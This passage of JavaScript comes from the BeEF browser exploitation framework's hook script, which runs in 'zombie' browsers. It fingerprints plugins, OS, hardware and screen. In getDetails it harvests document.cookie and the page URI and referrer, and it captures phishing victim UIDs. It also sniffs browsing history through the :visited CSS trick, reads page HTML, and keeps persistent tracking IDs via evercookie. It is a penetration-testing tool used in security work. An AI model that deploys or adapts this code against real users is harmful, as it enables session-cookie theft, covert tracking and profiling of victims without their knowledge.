  5414.  
  5415. }
  5416. catch (e) {
  5417. }
  5418.  
  5419.  
  5420. }},
  5421. 'Flash': {
  5422. 'control': 'Shockwave Flash',
  5423. 'return': function (control) {
  5424. try {
  5425. version = navigator.plugins["Shockwave Flash"]["description"];
  5426. return 'Flash Player Version ' + version; //+ " description "+ filename;
  5427. }
  5428.  
  5429. catch (e) {
  5430. }
  5431. }},
  5432. 'Google_Talk_Plugin_Accelerator': {
  5433. 'control': 'Google Talk Plugin Video Accelerator',
  5434. 'return': function (control) {
  5435.  
  5436. try {
  5437. version = navigator.plugins['Google Talk Plugin Video Accelerator']["description"];
  5438. return 'Google Talk Plugin Video Accelerator Version ' + version; //+ " description "+ filename;
  5439. }
  5440. catch (e) {
  5441. }
  5442. }},
  5443. 'Google_Talk_Plugin': {
  5444. 'control': 'Google Talk Plugin',
  5445. 'return': function (control) {
  5446. try {
  5447. version = navigator.plugins['Google Talk Plugin']["description"];
  5448. return 'Google Talk Plugin Version ' + version;// " description "+ filename;
  5449. }
  5450. catch (e) {
  5451. }
  5452. }},
  5453. 'Facebook_Video_Calling_Plugin': {
  5454. 'control': 'Facebook Video Calling Plugin',
  5455. 'return': function (control) {
  5456. try {
  5457. version = navigator.plugins["Facebook Video Calling Plugin"]["description"];
  5458. return 'Facebook Video Calling Plugin Version ' + version;//+ " description "+ filename;
  5459. }
  5460. catch (e) {
  5461. }
  5462. }},
  5463. 'Google_Update': {
  5464. 'control': 'Google Update',
  5465. 'return': function (control) {
  5466. try {
  5467. version = navigator.plugins["Google Update"]["description"];
  5468. return 'Google Update Version ' + version//+ " description "+ filename;
  5469. }
  5470. catch (e) {
  5471. }
  5472. }},
  5473. 'Windows_Activation_Technologies': {
  5474. 'control': 'Windows Activation Technologies',
  5475. 'return': function (control) {
  5476. try {
  5477. version = navigator.plugins["Windows Activation Technologies"]["description"];
  5478. return 'Windows Activation Technologies Version ' + version;//+ " description "+ filename;
  5479. }
  5480. catch (e) {
  5481. }
  5482.  
  5483. }},
  5484. 'VLC_Web_Plugin': {
  5485. 'control': 'VLC Web Plugin',
  5486. 'return': function (control) {
  5487. try {
  5488. version = navigator.plugins["VLC Web Plugin"]["description"];
  5489. return 'VLC Web Plugin Version ' + version;//+ " description "+ filename;
  5490. }
  5491. catch (e) {
  5492. }
  5493. }},
  5494. 'Google_Earth_Plugin': {
  5495. 'control': 'Google Earth Plugin',
  5496.  
  5497. 'return': function (control) {
  5498. try {
  5499. version = navigator.plugins['Google Earth Plugin']["description"];
  5500. return 'Google Earth Plugin Version ' + version;//+ " description "+ filename;
  5501. }
  5502. catch (e) {
  5503. }
  5504. }},
  5505. 'FoxitReader_Plugin': {
  5506. 'control': 'FoxitReader Plugin',
  5507. 'return': function (control) {
  5508. try {
  5509. version = navigator.plugins['Foxit Reader Plugin for Mozilla']['version'];
  5510. return 'FoxitReader Plugin Version ' + version;
  5511. } catch (e) {
  5512. }
  5513. }}
  5514. };
  5515.  
  5516. var c = 0;
  5517. for (var i in plugins) {
  5518. //each element od plugins
  5519. var control = plugins[i]['control'];
  5520. try {
  5521. var version = plugins[i]['return'](control);
  5522. if (version) {
  5523. results[c] = version;
  5524. c = c + 1;
  5525. }
  5526. }
  5527. catch (e) {
  5528. }
  5529.  
  5530. }
  5531. }
  5532. // Return results
  5533. return results;
  5534. },
  5535.  
  5536. /**
  5537. * Returns a list of plugins detected by IE. This is a hack because IE doesn't
  5538. * support navigator.plugins
  5539. */
  5540. getPluginsIE: function () {
  5541. var results = '';
  5542. var plugins = {'AdobePDF6': {
  5543. 'control': 'PDF.PdfCtrl',
  5544. 'return': function (control) {
  5545. version = control.getVersions().split(',');
  5546. version = version[0].split('=');
  5547. return 'Acrobat Reader v' + parseFloat(version[1]);
  5548. }},
  5549. 'AdobePDF7': {
  5550. 'control': 'AcroPDF.PDF',
  5551. 'return': function (control) {
  5552. version = control.getVersions().split(',');
  5553. version = version[0].split('=');
  5554. return 'Acrobat Reader v' + parseFloat(version[1]);
  5555. }},
  5556. 'Flash': {
  5557. 'control': 'ShockwaveFlash.ShockwaveFlash',
  5558. 'return': function (control) {
  5559. version = control.getVariable('$version').substring(4);
  5560. return 'Flash Player v' + version.replace(/,/g, ".");
  5561. }},
  5562. 'Quicktime': {
  5563. 'control': 'QuickTime.QuickTime',
  5564. 'return': function (control) {
  5565. return 'QuickTime Player';
  5566. }},
  5567. 'RealPlayer': {
  5568. 'control': 'RealPlayer',
  5569. 'return': function (control) {
  5570. version = control.getVersionInfo();
  5571. return 'RealPlayer v' + parseFloat(version);
  5572. }},
  5573. 'Shockwave': {
  5574. 'control': 'SWCtl.SWCtl',
  5575. 'return': function (control) {
  5576. version = control.ShockwaveVersion('').split('r');
  5577. return 'Shockwave v' + parseFloat(version[0]);
  5578. }},
  5579. 'WindowsMediaPlayer': {
  5580. 'control': 'WMPlayer.OCX',
  5581. 'return': function (control) {
  5582. return 'Windows Media Player v' + parseFloat(control.versionInfo);
  5583. }},
  5584. 'FoxitReaderPlugin': {
  5585. 'control': 'FoxitReader.FoxitReaderCtl.1',
  5586. 'return': function (control) {
  5587. return 'Foxit Reader Plugin v' + parseFloat(control.versionInfo);
  5588. }}
  5589. };
  5590. if (window.ActiveXObject) {
  5591. var j = 0;
  5592. for (var i in plugins) {
  5593. var control = null;
  5594. var version = null;
  5595. try {
  5596. control = new ActiveXObject(plugins[i]['control']);
  5597. } catch (e) {
  5598. }
  5599. if (control) {
  5600. if (j != 0)
  5601. results += ', ';
  5602. results += plugins[i]['return'](control);
  5603. j++;
  5604. }
  5605. }
  5606. }
  5607. return results;
  5608. },
  5609.  
  5610. /**
  5611. * Returns zombie screen size and color depth.
  5612. */
  5613. getScreenSize: function () {
  5614. return {
  5615. width: window.screen.width,
  5616. height: window.screen.height,
  5617. colordepth: window.screen.colorDepth
  5618. }
  5619. },
  5620.  
  5621. /**
  5622. * Returns zombie browser window size.
  5623. * @from: http://www.howtocreate.co.uk/tutorials/javascript/browserwindow
  5624. */
  5625. getWindowSize: function () {
  5626. var myWidth = 0, myHeight = 0;
  5627. if (typeof( window.innerWidth ) == 'number') {
  5628. // Non-IE
  5629. myWidth = window.innerWidth;
  5630. myHeight = window.innerHeight;
  5631. } else if (document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight )) {
  5632. // IE 6+ in 'standards compliant mode'
  5633. myWidth = document.documentElement.clientWidth;
  5634. myHeight = document.documentElement.clientHeight;
  5635. } else if (document.body && ( document.body.clientWidth || document.body.clientHeight )) {
  5636. // IE 4 compatible
  5637. myWidth = document.body.clientWidth;
  5638. myHeight = document.body.clientHeight;
  5639. }
  5640. return {
  5641. width: myWidth,
  5642. height: myHeight
  5643. }
  5644. },
  5645.  
  5646. /**
  5647. * Construct hash from browser details. This function is used to grab the browser details during the hooking process
  5648. */
  5649. getDetails: function () {
  5650. var details = new Array();
  5651.  
  5652. var browser_name = beef.browser.getBrowserName();
  5653. var browser_version = beef.browser.getBrowserVersion();
  5654. var browser_reported_name = beef.browser.getBrowserReportedName();
  5655. var browser_language = beef.browser.getBrowserLanguage();
  5656. var page_title = (document.title) ? document.title : "Unknown";
  5657. var page_uri = (document.location.href) ? document.location.href : "Unknown";
  5658. var page_referrer = (document.referrer) ? document.referrer : "Unknown";
  5659. var hostname = (document.location.hostname) ? document.location.hostname : "Unknown";
  5660. switch (document.location.protocol) {
  5661. case "http:":
  5662. var default_port = "80";
  5663. break;
  5664. case "https:":
  5665. var default_port = "443";
  5666. break
  5667. default:
  5668. var default_port = "";
  5669. }
  5670. var hostport = (document.location.port) ? document.location.port : default_port;
  5671. var browser_plugins = beef.browser.getPlugins();
  5672. var date_stamp = new Date().toString();
  5673. var os_name = beef.os.getName();
  5674. var os_version = beef.os.getVersion();
  5675. var default_browser = beef.os.getDefaultBrowser();
  5676. var hw_name = beef.hardware.getName();
  5677. var cpu_type = beef.hardware.cpuType();
  5678. var touch_enabled = (beef.hardware.isTouchEnabled()) ? "Yes" : "No";
  5679. var browser_platform = (typeof(navigator.platform) != "undefined" && navigator.platform != "") ? navigator.platform : 'Unknown';
  5680. var browser_type = JSON.stringify(beef.browser.type(), function (key, value) {
  5681. if (value == true) return value; else if (value == null) return; else if (typeof value == 'object') return value; else return;
  5682. });
  5683. var screen_size = beef.browser.getScreenSize();
  5684. var window_size = beef.browser.getWindowSize();
  5685. var vbscript_enabled = (beef.browser.hasVBScript()) ? "Yes" : "No";
  5686. var has_flash = (beef.browser.hasFlash()) ? "Yes" : "No";
  5687. var has_phonegap = (beef.browser.hasPhonegap()) ? "Yes" : "No";
  5688. var has_googlegears = (beef.browser.hasGoogleGears()) ? "Yes" : "No";
  5689. var has_web_socket = (beef.browser.hasWebSocket()) ? "Yes" : "No";
  5690. var has_web_worker = (beef.browser.hasWebWorker()) ? "Yes" : "No";
  5691. var has_web_gl = (beef.browser.hasWebGL()) ? "Yes" : "No";
  5692. var has_webrtc = (beef.browser.hasWebRTC()) ? "Yes" : "No";
  5693. var has_activex = (beef.browser.hasActiveX()) ? "Yes" : "No";
  5694. var has_quicktime = (beef.browser.hasQuickTime()) ? "Yes" : "No";
  5695. var has_realplayer = (beef.browser.hasRealPlayer()) ? "Yes" : "No";
  5696. var has_wmp = (beef.browser.hasWMP()) ? "Yes" : "No";
  5697. try {
  5698. var cookies = document.cookie;
  5699. /* Never stop the madness dear C.
  5700. * var veglol = beef.browser.cookie.veganLol();
  5701. */
  5702. if (cookies) details['Cookies'] = cookies;
  5703. } catch (e) {
  5704. details['Cookies'] = "Cookies can't be read. The hooked origin is most probably using HttpOnly.";
  5705. }
  5706.  
  5707. if (browser_name) details['BrowserName'] = browser_name;
  5708. if (browser_version) details['BrowserVersion'] = browser_version;
  5709. if (browser_reported_name) details['BrowserReportedName'] = browser_reported_name;
  5710. if (browser_language) details['BrowserLanguage'] = browser_language;
  5711. if (page_title) details['PageTitle'] = page_title;
  5712. if (page_uri) details['PageURI'] = page_uri;
  5713. if (page_referrer) details['PageReferrer'] = page_referrer;
  5714. if (hostname) details['HostName'] = hostname;
  5715. if (hostport) details['HostPort'] = hostport;
  5716. if (browser_plugins) details['BrowserPlugins'] = browser_plugins;
  5717. if (os_name) details['OsName'] = os_name;
  5718. if (os_version) details['OsVersion'] = os_version;
  5719. if (default_browser) details['DefaultBrowser'] = default_browser;
  5720. if (hw_name) details['Hardware'] = hw_name;
  5721. if (cpu_type) details['CPU'] = cpu_type;
  5722. if (touch_enabled) details['TouchEnabled'] = touch_enabled;
  5723. if (date_stamp) details['DateStamp'] = date_stamp;
  5724. if (browser_platform) details['BrowserPlatform'] = browser_platform;
  5725. if (browser_type) details['BrowserType'] = browser_type;
  5726. if (screen_size) details['ScreenSize'] = screen_size;
  5727. if (window_size) details['WindowSize'] = window_size;
  5728. if (vbscript_enabled) details['VBScriptEnabled'] = vbscript_enabled;
  5729. if (has_flash) details['HasFlash'] = has_flash;
  5730. if (has_phonegap) details['HasPhonegap'] = has_phonegap;
  5731. if (has_web_socket) details['HasWebSocket'] = has_web_socket;
  5732. if (has_web_worker) details['HasWebWorker'] = has_web_worker;
  5733. if (has_web_gl) details['HasWebGL'] = has_web_gl;
  5734. if (has_googlegears) details['HasGoogleGears'] = has_googlegears;
  5735. if (has_webrtc) details['HasWebRTC'] = has_webrtc;
  5736. if (has_activex) details['HasActiveX'] = has_activex;
  5737. if (has_quicktime) details['HasQuickTime'] = has_quicktime;
  5738. if (has_realplayer) details['HasRealPlayer'] = has_realplayer;
  5739. if (has_wmp) details['HasWMP'] = has_wmp;
  5740.  
  5741. var pf_integration = "";
  5742. if (pf_integration) {
  5743. var pf_param = "uid";
  5744. var pf_victim_uid = "";
  5745. var location_search = window.location.search.substring(1);
  5746. var params = location_search.split('&');
  5747. for (var i = 0; i < params.length; i++) {
  5748. var param_entry = params[i].split('=');
  5749. if (param_entry[0] == pf_param) {
  5750. pf_victim_uid = param_entry[1];
  5751. details['PhishingFrenzyUID'] = pf_victim_uid;
  5752. break;
  5753. }
  5754. }
  5755. } else {
  5756. details['PhishingFrenzyUID'] = "N/A";
  5757. }
  5758.  
  5759. return details;
  5760. },
  5761.  
  5762. /**
  5763. * Returns boolean value depending on whether the browser supports ActiveX
  5764. */
  5765. hasActiveX: function () {
  5766. return !!window.ActiveXObject;
  5767. },
  5768.  
  5769. /**
  5770. * Returns boolean value depending on whether the browser supports WebRTC
  5771. */
  5772. hasWebRTC: function () {
  5773. return (!!window.mozRTCPeerConnection || !!window.webkitRTCPeerConnection);
  5774. },
  5775.  
  5776. /**
  5777. * Returns boolean value depending on whether the browser supports Silverlight
  5778. */
  5779. hasSilverlight: function () {
  5780. var result = false;
  5781.  
  5782. try {
  5783. if (beef.browser.isIE()) {
  5784. var slControl = new ActiveXObject('AgControl.AgControl');
  5785. result = true;
  5786. } else if (navigator.plugins["Silverlight Plug-In"]) {
  5787. result = true;
  5788. }
  5789. } catch (e) {
  5790. result = false;
  5791. }
  5792.  
  5793. return result;
  5794. },
  5795.  
  5796. /**
  5797. * Returns array of results, whether or not the target zombie has visited the specified URL
  5798. */
  5799. hasVisited: function (urls) {
  5800. var results = new Array();
  5801. var iframe = beef.dom.createInvisibleIframe();
  5802. var ifdoc = (iframe.contentDocument) ? iframe.contentDocument : iframe.contentWindow.document;
  5803. ifdoc.open();
  5804. ifdoc.write('<style>a:visited{width:0px !important;}</style>');
  5805. ifdoc.close();
  5806. urls = urls.split("\n");
  5807. var count = 0;
  5808. for (var i in urls) {
  5809. var u = urls[i];
  5810. if (u != "" || u != null) {
  5811. var success = false;
  5812. var a = ifdoc.createElement('a');
  5813. a.href = u;
  5814. ifdoc.body.appendChild(a);
  5815. var width = null;
  5816. (a.currentStyle) ? width = a.currentStyle['width'] : width = ifdoc.defaultView.getComputedStyle(a, null).getPropertyValue("width");
  5817. if (width == '0px') {
  5818. success = true;
  5819. }
  5820. results.push({'url': u, 'visited': success});
  5821. count++;
  5822. }
  5823. }
  5824. beef.dom.removeElement(iframe);
  5825. if (results.length == 0) {
  5826. return false;
  5827. }
  5828. return results;
  5829. },
  5830.  
  5831. /**
  5832. * Checks if the zombie has Web Sockets enabled.
  5833. * @return: {Boolean} true or false.
  5834. * In FF6+ the websocket object has been prefixed with Moz, so now it's called MozWebSocket
  5835. * */
  5836. hasWebSocket: function () {
  5837. return !!window.WebSocket || !!window.MozWebSocket;
  5838. },
  5839.  
  5840. /**
  5841. * Checks if the zombie has Web Workers enabled.
  5842. * @return: {Boolean} true or false.
  5843. * */
  5844. hasWebWorker: function () {
  5845. return (typeof(Worker) !== "undefined");
  5846. },
  5847.  
  5848. /**
  5849. * Checks if the zombie has WebGL enabled.
  5850. * @return: {Boolean} true or false.
  5851. *
  5852. * @from: https://github.com/idofilin/webgl-by-example/blob/master/detect-webgl/detect-webgl.js
  5853. * */
  5854. hasWebGL: function () {
  5855. try {
  5856. var canvas = document.createElement("canvas");
  5857. var gl = canvas.getContext("webgl") || canvas.getContext("experimental-webgl");
  5858. return !!(gl && gl instanceof WebGLRenderingContext);
  5859. } catch(e) {
  5860. return false;
  5861. }
  5862. },
  5863.  
  5864. /**
  5865. * Checks if the zombie has Google Gears installed.
  5866. * @return: {Boolean} true or false.
  5867. *
  5868. * @from: https://code.google.com/apis/gears/gears_init.js
  5869. * */
  5870. hasGoogleGears: function () {
  5871.  
  5872. var ggfactory = null;
  5873.  
  5874. // Chrome
  5875. if (window.google && google.gears) return true;
  5876.  
  5877. // Firefox
  5878. if (typeof GearsFactory != 'undefined') {
  5879. ggfactory = new GearsFactory();
  5880. } else {
  5881. // IE
  5882. try {
  5883. ggfactory = new ActiveXObject('Gears.Factory');
  5884. // IE Mobile on WinCE.
  5885. if (ggfactory.getBuildInfo().indexOf('ie_mobile') != -1) {
  5886. ggfactory.privateSetGlobalObject(this);
  5887. }
  5888. } catch (e) {
  5889. // Safari
  5890. if ((typeof navigator.mimeTypes != 'undefined')
  5891. && navigator.mimeTypes["application/x-googlegears"]) {
  5892. ggfactory = document.createElement("object");
  5893. ggfactory.style.display = "none";
  5894. ggfactory.width = 0;
  5895. ggfactory.height = 0;
  5896. ggfactory.type = "application/x-googlegears";
  5897. document.documentElement.appendChild(ggfactory);
  5898. if (ggfactory && (typeof ggfactory.create == 'undefined')) ggfactory = null;
  5899. }
  5900. }
  5901. }
  5902. if (!ggfactory) return false; else return true;
  5903. },
  5904.  
  5905. /**
  5906. * Checks if the zombie has Foxit PDF reader plugin.
  5907. * @return: {Boolean} true or false.
  5908. *
  5909. * @example: if(beef.browser.hasFoxit()) { ... }
  5910. * */
  5911. hasFoxit: function () {
  5912.  
  5913. var foxitplugin = false;
  5914.  
  5915. try {
  5916. if (beef.browser.isIE()) {
  5917. var foxitControl = new ActiveXObject('FoxitReader.FoxitReaderCtl.1');
  5918. foxitplugin = true;
  5919. } else if (navigator.plugins['Foxit Reader Plugin for Mozilla']) {
  5920. foxitplugin = true;
  5921. }
  5922. } catch (e) {
  5923. foxitplugin = false;
  5924. }
  5925.  
  5926. return foxitplugin;
  5927. },
  5928.  
  5929. /**
  5930. * Returns the page head HTML
  5931. **/
  5932. getPageHead: function () {
  5933. var html_head;
  5934. try {
  5935. html_head = document.head.innerHTML.toString();
  5936. } catch (e) {
  5937. }
  5938. return html_head;
  5939. },
  5940.  
  5941. /**
  5942. * Returns the page body HTML
  5943. **/
  5944. getPageBody: function () {
  5945. var html_body;
  5946. try {
  5947. html_body = document.body.innerHTML.toString();
  5948. } catch (e) {
  5949. }
  5950. return html_body;
  5951. },
  5952.  
  5953. /**
  5954. * Dynamically changes the favicon: works in Firefox, Chrome and Opera
  5955. **/
  5956. changeFavicon: function (favicon_url) {
  5957. var iframe = null;
  5958. if (this.isC()) {
  5959. iframe = document.createElement('iframe');
  5960. iframe.src = 'about:blank';
  5961. iframe.style.display = 'none';
  5962. document.body.appendChild(iframe);
  5963. }
  5964. var link = document.createElement('link'),
  5965. oldLink = document.getElementById('dynamic-favicon');
  5966. link.id = 'dynamic-favicon';
  5967. link.rel = 'shortcut icon';
  5968. link.href = favicon_url;
  5969. if (oldLink) document.head.removeChild(oldLink);
  5970. document.head.appendChild(link);
  5971. if (this.isC()) iframe.src += '';
  5972. },
  5973.  
  5974. /**
  5975. * Changes page title
  5976. **/
  5977. changePageTitle: function (title) {
  5978. document.title = title;
  5979. },
  5980.  
  5981. /**
  5982. * Get the browser language
  5983. */
  5984. getBrowserLanguage: function () {
  5985. var l = 'Unknown';
  5986. try {
  5987. l = window.navigator.userLanguage || window.navigator.language;
  5988. } catch (e) {
  5989. }
  5990. return l;
  5991. },
  5992.  
  5993. /**
  5994. * A function that gets the max number of simultaneous connections the
  5995. * browser can make per origin, or globally on all origin.
  5996. *
  5997. * This code is based on research from browserspy.dk
  5998. *
  5999. * @parameter {ENUM: 'PER_DOMAIN', 'GLOBAL'=>default}
  6000. * @return {Deferred promise} A jQuery deferred object promise, which when resolved passes
  6001. * the number of connections to the callback function as "this"
  6002. *
  6003. * example usage:
  6004. * $j.when(getMaxConnections()).done(function(){
  6005. * console.debug("Max Connections: " + this);
  6006. * });
  6007. *
  6008. */
  6009. getMaxConnections: function (scope) {
  6010.  
  6011. var imagesCount = 30; // Max number of images to test
  6012. var secondsTimeout = 5; // Image load timeout threashold
  6013. var testUrl = ""; // The image testing service URL
  6014.  
  6015. // User broserspy.dk max connections service URL.
  6016. if (scope == 'PER_DOMAIN')
  6017. testUrl = "http://browserspy.dk/connections.php?img=1&amp;random=";
  6018. else
  6019. // The token will be replaced by a different number with each request (different origin).
  6020. testUrl = "http://<token>.browserspy.dk/connections.php?img=1&amp;random=";
  6021.  
  6022. var imagesLoaded = 0; // Number of responding images before timeout.
  6023. var imagesRequested = 0; // Number of requested images.
  6024. var testImages = new Array(); // Array of all images.
  6025. var deferredObject = $j.Deferred(); // A jquery Deferred object.
  6026.  
  6027. for (var i = 1; i <= imagesCount; i++) {
  6028. // Asynchronously request image.
  6029. testImages[i] =
  6030. $j.ajax({
  6031. type: "get",
  6032. dataType: true,
  6033. url: (testUrl.replace("<token>", i)) + Math.random(),
  6034. data: "",
  6035. timeout: (secondsTimeout * 1000),
  6036.  
  6037. // Function on completion of request.
  6038. complete: function (jqXHR, textStatus) {
  6039.  
  6040. imagesRequested++;
  6041.  
  6042. // If the image returns a 200 or a 302, the text Status is "error", else null
  6043. if (textStatus == "error") {
  6044. imagesLoaded++;
  6045. }
  6046.  
  6047. // If all images requested
  6048. if (imagesRequested >= imagesCount) {
  6049. // resolve the deferred object passing the number of loaded images.
  6050. deferredObject.resolveWith(imagesLoaded);
  6051. }
  6052. }
  6053. });
  6054.  
  6055. }
  6056.  
  6057. // Return a promise to resolve the deffered object when the images are loaded.
  6058. return deferredObject.promise();
  6059.  
  6060. }
  6061.  
  6062. };
  6063.  
  6064. beef.regCmp('beef.browser');
  6065.  
  6066.  
  6067. //
  6068. // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
  6069. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  6070. // See the file 'doc/COPYING' for copying permission
  6071. //
  6072.  
  6073. /*!
  6074. * @literal object: beef.browser.cookie
  6075. *
  6076. * Provides fuctions for working with cookies.
  6077. * Several functions adopted from http://techpatterns.com/downloads/javascript_cookies.php
  6078. * Original author unknown.
  6079. *
  6080. */
  6081. beef.browser.cookie = {
  6082.  
  6083. setCookie: function (name, value, expires, path, domain, secure)
  6084. {
  6085.  
  6086. var today = new Date();
  6087. today.setTime( today.getTime() );
  6088.  
  6089. if ( expires )
  6090. {
  6091. expires = expires * 1000 * 60 * 60 * 24;
  6092. }
  6093. var expires_date = new Date( today.getTime() + (expires) );
  6094.  
  6095. document.cookie = name + "=" +escape( value ) +
  6096. ( ( expires ) ? ";expires=" + expires_date.toGMTString() : "" ) +
  6097. ( ( path ) ? ";path=" + path : "" ) +
  6098. ( ( domain ) ? ";domain=" + domain : "" ) +
  6099. ( ( secure ) ? ";secure" : "" );
  6100. },
  6101.  
  6102. getCookie: function(name)
  6103. {
  6104. var a_all_cookies = document.cookie.split( ';' );
  6105. var a_temp_cookie = '';
  6106. var cookie_name = '';
  6107. var cookie_value = '';
  6108. var b_cookie_found = false;
  6109.  
  6110. for ( i = 0; i < a_all_cookies.length; i++ )
  6111. {
  6112. a_temp_cookie = a_all_cookies[i].split( '=' );
  6113. cookie_name = a_temp_cookie[0].replace(/^\s+|\s+$/g, '');
  6114. if ( cookie_name == name )
  6115. {
  6116. b_cookie_found = true;
  6117. if ( a_temp_cookie.length > 1 )
  6118. {
  6119. cookie_value = unescape( a_temp_cookie[1].replace(/^\s+|\s+$/g, '') );
  6120. }
  6121. return cookie_value;
  6122. break;
  6123. }
  6124. a_temp_cookie = null;
  6125. cookie_name = '';
  6126. }
  6127. if ( !b_cookie_found )
  6128. {
  6129. return null;
  6130. }
  6131. },
  6132.  
  6133. deleteCookie: function (name, path, domain)
  6134. {
  6135. if ( this.getCookie(name) ) document.cookie = name + "=" +
  6136. ( ( path ) ? ";path=" + path : "") +
  6137. ( ( domain ) ? ";domain=" + domain : "" ) +
  6138. ";expires=Thu, 01-Jan-1970 00:00:01 GMT";
  6139. },
  6140.  
  6141. /* Never stop the madness dear C. */
  6142. veganLol: function (){
  6143. var to_hell= '';
  6144. var min = 17;
  6145. var max = 25;
  6146. var lol_length = Math.floor(Math.random() * (max - min + 1)) + min;
  6147.  
  6148. var grunt = function(){
  6149. var moo = Math.floor(Math.random() * 62);
  6150. var char = '';
  6151. if(moo < 36){
  6152. char = String.fromCharCode(moo + 55);
  6153. }else{
  6154. char = String.fromCharCode(moo + 61);
  6155. }
  6156. if(char != ';' && char != '='){
  6157. return char;
  6158. }else{
  6159. return 'x';
  6160. }
  6161. };
  6162.  
  6163. while(to_hell.length < lol_length){
  6164. to_hell += grunt();
  6165. }
  6166. return to_hell;
  6167. },
  6168.  
  6169. hasSessionCookies: function (name){
  6170. this.setCookie( name, beef.browser.cookie.veganLol(), '', '/', '', '' );
  6171.  
  6172. cookiesEnabled = (this.getCookie(name) == null)? false:true;
  6173. this.deleteCookie(name, '/', '');
  6174. return cookiesEnabled;
  6175.  
  6176. },
  6177.  
  6178. hasPersistentCookies: function (name){
  6179. this.setCookie( name, beef.browser.cookie.veganLol(), 1, '/', '', '' );
  6180.  
  6181. cookiesEnabled = (this.getCookie(name) == null)? false:true;
  6182. this.deleteCookie(name, '/', '');
  6183. return cookiesEnabled;
  6184.  
  6185. }
  6186.  
  6187. };
  6188.  
  6189. beef.regCmp('beef.browser.cookie');
  6190.  
  6191. //
  6192. // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
  6193. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  6194. // See the file 'doc/COPYING' for copying permission
  6195. //
  6196.  
  6197. /*!
  6198. * @literal object: beef.browser.popup
  6199. *
  6200. * Provides fuctions for working with cookies.
  6201. * Several functions adopted from http://davidwalsh.name/popup-block-javascript
  6202. * Original author unknown.
  6203. *
  6204. */
  6205. beef.browser.popup = {
  6206.  
  6207. blocker_enabled: function ()
  6208. {
  6209. screenParams = beef.browser.getScreenSize();
  6210. var popUp = window.open('/', 'windowName0', 'width=1, height=1, left='+screenParams.width+', top='+screenParams.height+', scrollbars, resizable');
  6211. if (popUp == null || typeof(popUp)=='undefined') {
  6212. return true;
  6213. } else {
  6214. popUp.close();
  6215. return false;
  6216. }
  6217. }
  6218. };
  6219.  
  6220. beef.regCmp('beef.browser.popup');
  6221.  
  6222.  
  6223. //
  6224. // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
  6225. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  6226. // See the file 'doc/COPYING' for copying permission
  6227. //
  6228.  
  6229. /*!
  6230. * @literal object: beef.session
  6231. *
  6232. * Provides basic session functions.
  6233. */
  6234. beef.session = {
  6235.  
  6236. hook_session_id_length: 80,
  6237. hook_session_id_chars: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",
  6238. ec: new evercookie(),
  6239. beefhook: "BEEFHOOK",
  6240.  
  6241. /**
  6242. * Gets a string which will be used to identify the hooked browser session
  6243. *
  6244. * @example: var hook_session_id = beef.session.get_hook_session_id();
  6245. */
  6246. get_hook_session_id: function() {
  6247. // check if the browser is already known to the framework
  6248. var id = this.ec.evercookie_cookie(beef.session.beefhook);
  6249. if (typeof id == 'undefined') {
  6250. var id = this.ec.evercookie_userdata(beef.session.beefhook);
  6251. }
  6252. if (typeof id == 'undefined') {
  6253. var id = this.ec.evercookie_window(beef.session.beefhook);
  6254. }
  6255.  
  6256. // if the browser is not known create a hook session id and set it
  6257. if ((typeof id == 'undefined') || (id == null)) {
  6258. id = this.gen_hook_session_id();
  6259. this.set_hook_session_id(id);
  6260. }
  6261.  
  6262. // return the hooked browser session identifier
  6263. return id;
  6264. },
  6265.  
  6266. /**
  6267. * Sets a string which will be used to identify the hooked browser session
  6268. *
  6269. * @example: beef.session.set_hook_session_id('RANDOMSTRING');
  6270. */
  6271. set_hook_session_id: function(id) {
  6272. // persist the hook session id
  6273. this.ec.evercookie_cookie(beef.session.beefhook, id);
  6274. this.ec.evercookie_userdata(beef.session.beefhook, id);
  6275. this.ec.evercookie_window(beef.session.beefhook, id);
  6276. },
  6277.  
  6278. /**
  6279. * Generates a random string using the chars in hook_session_id_chars.
  6280. *
  6281. * @example: beef.session.gen_hook_session_id();
  6282. */
  6283. gen_hook_session_id: function() {
  6284. // init the return value
  6285. var hook_session_id = "";
  6286.  
  6287. // construct the random string
  6288. for(var i=0; i<this.hook_session_id_length; i++) {
  6289. var rand_num = Math.floor(Math.random()*this.hook_session_id_chars.length);
  6290. hook_session_id += this.hook_session_id_chars.charAt(rand_num);
  6291. }
  6292.  
  6293. return hook_session_id;
  6294. }
  6295. };
  6296.  
  6297. beef.regCmp('beef.session');
  6298.  
  6299.  
  6300. //
  6301. // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
  6302. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  6303. // See the file 'doc/COPYING' for copying permission
  6304. //
  6305.  
  6306. beef.os = {
  6307.  
  6308. ua: navigator.userAgent,
  6309.  
  6310. /**
  6311. * Detect default browser (IE only)
  6312. * Written by unsticky
  6313. * http://ha.ckers.org/blog/20070319/detecting-default-browser-in-ie/
  6314. */
  6315. getDefaultBrowser: function() {
  6316. var result = "Unknown"
  6317. try {
  6318. var mt = document.mimeType;
  6319. if (mt) {
  6320. if (mt == "Safari Document") result = "Safari";
  6321. if (mt == "Firefox HTML Document") result = "Firefox";
  6322. if (mt == "Chrome HTML Document") result = "Chrome";
  6323. if (mt == "HTML Document") result = "Internet Explorer";
  6324. if (mt == "Opera Web Document") result = "Opera";
  6325. }
  6326. } catch (e) {
  6327. beef.debug("[os] getDefaultBrowser: "+e.message);
  6328. }
  6329. return result;
  6330. },
  6331.  
  6332. // the likelihood that we hook Windows 3.11 (which has only Win in the UA string) is zero in 2015
  6333. isWin311: function() {
  6334. return (this.ua.match('(Win16)')) ? true : false;
  6335. },
  6336.  
  6337. isWinNT4: function() {
  6338. return (this.ua.match('(Windows NT 4.0)')) ? true : false;
  6339. },
  6340.  
  6341. isWin95: function() {
  6342. return (this.ua.match('(Windows 95)|(Win95)|(Windows_95)')) ? true : false;
  6343. },
  6344. isWinCE: function() {
  6345. return (this.ua.match('(Windows CE)')) ? true : false;
  6346. },
  6347.  
  6348. isWin98: function() {
  6349. return (this.ua.match('(Windows 98)|(Win98)')) ? true : false;
  6350. },
  6351.  
  6352. isWinME: function() {
  6353. return (this.ua.match('(Windows ME)|(Win 9x 4.90)')) ? true : false;
  6354. },
  6355.  
